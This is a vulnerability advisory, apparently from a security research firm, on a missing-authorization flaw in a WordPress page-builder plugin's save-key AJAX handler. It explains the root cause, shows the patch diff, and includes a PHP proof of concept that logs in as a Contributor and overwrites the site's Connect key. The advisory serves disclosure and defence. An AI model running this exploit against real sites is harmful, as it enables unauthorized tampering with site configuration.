Atomic Edge analysis of CVE-2025-69345:
This vulnerability is a missing authorization flaw in the Post and Page Builder by BoldGrid WordPress plugin. The vulnerability affects the plugin’s AJAX handler for saving a Connect key. The flaw allows authenticated users with Contributor-level permissions or higher to perform an administrative action, violating the principle of least privilege. The CVSS score of 4.3 reflects a medium severity impact.
The root cause is the absence of a capability check in the `save_key()` function within the file `/post-and-page-builder/includes/class-boldgrid-editor-ajax.php`. Before the patch, the function only validated a nonce via `self::validate_nonce(‘gridblock_save’)`. It then directly processed the `$_POST[‘connectKey’]` parameter. The function lacked any verification that the current user possesses the `manage_options` capability, which is required for performing site-wide configuration changes.
Exploitation requires an attacker to have a valid WordPress account with at least Contributor-level access. The attacker crafts a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to `boldgrid_editor_save_key` to trigger the vulnerable function. The payload must also include a valid nonce (obtainable by a Contributor) and the `connectKey` parameter containing the key to be saved. The nonce check passes, but the missing capability check allows the unauthorized update.
The patch adds an authorization check at the beginning of the `save_key()` function. The code now verifies `if ( ! current_user_can( ‘manage_options’ ) )`. If the check fails, the function sets an HTTP 403 status and returns a JSON error, terminating execution. This change ensures only users with administrator privileges can execute the function. The plugin version number in the main file was also incremented from 1.27.9 to 1.27.10.
Successful exploitation allows a lower-privileged user to modify the plugin’s Connect key. This key is likely used for API communication or licensing with BoldGrid services. An attacker could disrupt plugin functionality, unlink the site from a legitimate BoldGrid account, or potentially associate it with a malicious account. This constitutes unauthorized modification of site configuration.
--- a/post-and-page-builder/includes/class-boldgrid-editor-ajax.php
+++ b/post-and-page-builder/includes/class-boldgrid-editor-ajax.php
@@ -233,6 +233,12 @@
public function save_key() {
self::validate_nonce( 'gridblock_save' );
+ // Require administrator privileges to update site-wide Connect key.
+ if ( ! current_user_can( 'manage_options' ) ) {
+ status_header( 403 );
+ wp_send_json_error();
+ }
+
$connectKey = ! empty( $_POST['connectKey'] ) ? sanitize_text_field( $_POST['connectKey'] ) : null;
$connectKey = false === strpos( $connectKey, '-' ) ? $connectKey : md5( $connectKey );
--- a/post-and-page-builder/post-and-page-builder.php
+++ b/post-and-page-builder/post-and-page-builder.php
@@ -3,7 +3,7 @@
* Plugin Name: Post and Page Builder
* Plugin URI: https://www.boldgrid.com/boldgrid-editor/?utm_source=ppb-wp-repo&utm_medium=plugin-uri&utm_campaign=ppb
* Description: Customized drag and drop editing for posts and pages. The Post and Page Builder adds functionality to the existing TinyMCE Editor to give you easier control over your content.
- * Version: 1.27.9
+ * Version: 1.27.10
* Author: BoldGrid <support@boldgrid.com>
* Author URI: https://www.boldgrid.com/?utm_source=ppb-wp-repo&utm_medium=author-uri&utm_campaign=ppb
* Text Domain: boldgrid-editor
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69345 - Post and Page Builder by BoldGrid <= 1.27.9 - Missing Authorization
<?php
// Configure the target WordPress site URL.
$target_url = 'http://vulnerable-wordpress-site.local';
// Configure attacker credentials (Contributor or higher).
$username = 'contributor';
$password = 'password';
// Step 1: Authenticate to WordPress and obtain cookies and a nonce.
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Initialize a cURL handle for session persistence.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Perform login.
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Step 2: Visit the editor page to obtain a nonce for 'gridblock_save'.
// The nonce is typically exposed in page HTML or via a localized script.
// This example assumes a nonce is available in a script variable. A real exploit would parse it.
$editor_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
// Extract nonce (placeholder - actual implementation requires parsing HTML/JS).
// For this PoC, we assume the attacker has obtained a valid nonce.
$nonce = 'EXTRACTED_NONCE_VALUE';
// Step 3: Exploit the missing authorization to save a new Connect key.
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
$exploit_payload = [
'action' => 'boldgrid_editor_save_key', // The AJAX hook for the vulnerable function.
'connectKey' => 'malicious-key-12345', // The key to be saved.
'_wpnonce' => $nonce // The nonce for 'gridblock_save' action.
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_payload));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";
// A successful exploitation on a vulnerable version will return a JSON success response.
// A patched version will return a 403 error.
curl_close($ch);
?>